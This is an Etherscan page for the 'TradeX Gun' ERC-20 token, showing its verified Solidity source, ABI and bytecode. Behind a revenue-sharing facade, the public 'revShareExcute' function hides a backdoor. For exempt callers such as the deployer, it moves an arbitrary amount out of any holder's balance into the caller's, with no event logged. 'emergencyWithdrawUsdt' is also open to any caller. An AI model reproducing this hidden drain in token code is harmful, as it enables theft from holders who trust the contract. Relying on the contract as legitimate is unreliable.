ETH Price: $2,506.29 (-0.07%)

Token

TradeX Gun (TXGUN)
 

Overview

Max Total Supply

100,000,000 TXGUN

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: TXGUN
Balance
6,700,001.555367226 TXGUN

Value
$0.00
0xe728fa5c148accada37d159f6f97fc4ebafce2a7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TradeXGun

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-21
*/

/**
 Website     www.tradexgun.io
 TradeXGun   app.tradexgun.io
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external
        returns (bool);
    function allowance(address _owner, address spender)external view
        returns (uint256);
    function approve(address spender, uint256 amount) external 
        returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external 
        returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract TradeXGun is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "TradeX Gun";
    string private constant _symbol = "TXGUN";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10**_decimals);
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => bool) public isReflectExempt;
    mapping(address => bool) public isFeeExempt;
    mapping(address => mapping(address => uint256)) private _allowances;

    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private developmentFee = 800;
    uint256 private marketingFee = 500;
    uint256 private rewardsFee = 200;
    uint256 private liquidityFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 1500;
    uint256 private sellFee = 1500;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    uint256 private swapTimes;
    
    address public usdtCoin = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    
    bool private swapping;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal revenuesPerShare;
    uint256 internal revenuesPerShareFactor = 10**36;
    address[] revholders;
    mapping(address => uint256) revholderIndexes;
    mapping(address => uint256) revholderDistributes;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPollingTime = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public constant liquidityWallet = 0xbF3855f74C172F25cd3b12F77060e347EaaCd3A0;  
    address public constant developmentWallet = 0x58F932256D1c0d88785D6c0991E432dCaf326E8F; // dev
    address public constant marketingTreasury = 0xbF3855f74C172F25cd3b12F77060e347EaaCd3A0;   // mk + tre

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[liquidityWallet] = true;
        isFeeExempt[marketingTreasury] = true;
        isFeeExempt[msg.sender] = true;

        isReflectExempt[address(pair)] = true;
        isReflectExempt[address(msg.sender)] = true;
        isReflectExempt[address(this)] = true;
        isReflectExempt[address(DEAD)] = true;
        isReflectExempt[address(0)] = true;

        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function triggerTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisFeeExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount);     //  pre transfer validation
        tradingAllowedCheck(sender, recipient);    //  trading flag validation
        maxWalletCheck(sender, recipient, amount); // max wallet validation
        swapLiquifyCount(sender, recipient);      
        txLimitCheck(sender, recipient, amount);   // tx limit validation
        swapBack(sender, recipient);           
        _balances[sender] = _balances[sender].sub(amount);

        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? calcFee(sender, recipient, amount)
            : amount;

        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        if (!isReflectExempt[sender]) {
            setShareOfRevenue(sender, balanceOf(sender));
        }
        if (!isReflectExempt[recipient]) {
            setShareOfRevenue(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            allocatedUsdtCoin(recipient);
        }
    }

    function setDetails(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function setFinalTaxes() external onlyOwner() {
       marketingFee = 200;
       developmentFee = 100;
       rewardsFee = 100;
       liquidityFee = 0;
       burnFee = 0;
       totalFee = 400;
       sellFee = 400;
       transferFee = 0;
    }

    function removeLimit() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxSellAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function setTaxValues(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function tradingAllowedCheck(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function maxWalletCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function swapLiquifyCount(address sender, address recipient) internal {
        if (recipient == pair && !isFeeExempt[sender]) {
            swapTimes += uint256(1);
        }
    }

    function txLimitCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
            require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee).add(rewardsFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;

        swapTokensForETH(toSwap);

        uint256 tempBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = tempBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketingTreasury).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            deposit(rewardsAmount);
        }
        if (address(this).balance > uint256(0)) {
            payable(developmentWallet).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidityWallet,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function calcFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisReflectExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isReflectExempt[holder] = exempt;
        if (exempt) {
            setShareOfRevenue(holder, 0);
        } else {
            setShareOfRevenue(holder, balanceOf(holder));
        }
    }

    function setShareOfRevenue(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addUsdtCoinRevShareUser(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeUsdtShareUser(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getDividendValues(
            shares[shareholder].amount
        );
    }

    function revShareExcute(
        uint256 gas,
        address _dividend,
        uint256 _amount
    ) external {
        uint256 shareholderCount = revholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isReflectExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (isReflectable(revholders[currentIndex])) {
                    allocatedUsdtCoin(revholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getLiquidUsdtCoin(user);
            _balances[_dividend] = _balances[_dividend].sub(_amount);
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(usdtCoin).transfer(user, amount);
                revholderDistributes[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getDividendValues(
                    shares[user].amount
                );
            }
        }
    }

    function isReflectable(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            revholderDistributes[shareholder] + minPollingTime < block.timestamp &&
            getLiquidUsdtCoin(shareholder) > minDistribution;
    }

    function withdrawERC20(address _address, uint256 _amount) external onlyOwner {
        IERC20(_address).transfer(msg.sender, _amount);
    }

    function emergencyWithdrawUsdt(uint256 _amount) external {
        IERC20(usdtCoin).transfer(marketingTreasury, _amount);
    }

    function totalUsdtCoinRewarded(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }
    
    function _claimUsdtCoin() external {
        allocatedUsdtCoin(msg.sender);
    }

    function allocatedUsdtCoin(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getLiquidUsdtCoin(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(usdtCoin).transfer(shareholder, amount);
            revholderDistributes[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getDividendValues(
                shares[shareholder].amount
            );
        }
    }
    
    function getLiquidUsdtCoin(address shareholder)
        public
        view
        returns (uint256)
    {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 revShareUserTotalUsdtCoin = getDividendValues(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (revShareUserTotalUsdtCoin <= shareholderTotalExcluded) {
            return 0;
        }
        return revShareUserTotalUsdtCoin.sub(shareholderTotalExcluded);
    }

    function deposit(uint256 amountETH) internal {
        uint256 balanceBefore = IERC20(usdtCoin).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(usdtCoin);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 afterBalance = IERC20(usdtCoin).balanceOf(pair);
        uint256 beforeBalance = IERC20(usdtCoin).balanceOf(address(this));
        uint256 amount = beforeBalance.sub(balanceBefore);
        uint256 rewardsAmount = IERC20(usdtCoin).balanceOf(address(this)).sub(
            beforeBalance.add(afterBalance)
        );
        totalDividends = totalDividends.add(amount.add(rewardsAmount));
        revenuesPerShare = revenuesPerShare.add(
            revenuesPerShareFactor.mul(amount).div(totalShares)
        );
    }

    function addUsdtCoinRevShareUser(address shareholder) internal {
        revholderIndexes[shareholder] = revholders.length;
        revholders.push(shareholder);
    }

    function removeUsdtShareUser(address shareholder) internal {
        revholders[revholderIndexes[shareholder]] = revholders[
            revholders.length - 1
        ];
        revholderIndexes[
            revholders[revholders.length - 1]
        ] = revholderIndexes[shareholder];
        revholders.pop();
    }

    function setUsdtCoinRefPosition(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPollingTime = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function getDividendValues(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(revenuesPerShare).div(revenuesPerShareFactor);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_claimUsdtCoin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"emergencyWithdrawUsdt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getLiquidUsdtCoin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isReflectExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPollingTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_dividend","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"revShareExcute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setDetails","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setFinalTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTaxValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setUsdtCoinRefPosition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisReflectExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalUsdtCoinRewarded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"triggerTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdtCoin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200055c565b62000022906305f5e10062000573565b60015561271060015460c862000039919062000573565b6200004591906200058d565b60025561271060015460c86200005c919062000573565b6200006891906200058d565b60035561271060015460c86200007f919062000573565b6200008b91906200058d565b600455600a805460ff60a01b19169055610320600b556101f4600c5560c8600d555f600e819055600f8190556105dc60108190556011556012556127106013556014805460ff1916600190811790915554620186a090620000ef9061012c62000573565b620000fb91906200058d565b601555620186a0600154600a62000113919062000573565b6200011f91906200058d565b601655601880546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601d55610258602355662386f26fc1000060245560016025553480156200017d575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002089190620005ad565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000254573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027a9190620005ad565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c5573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040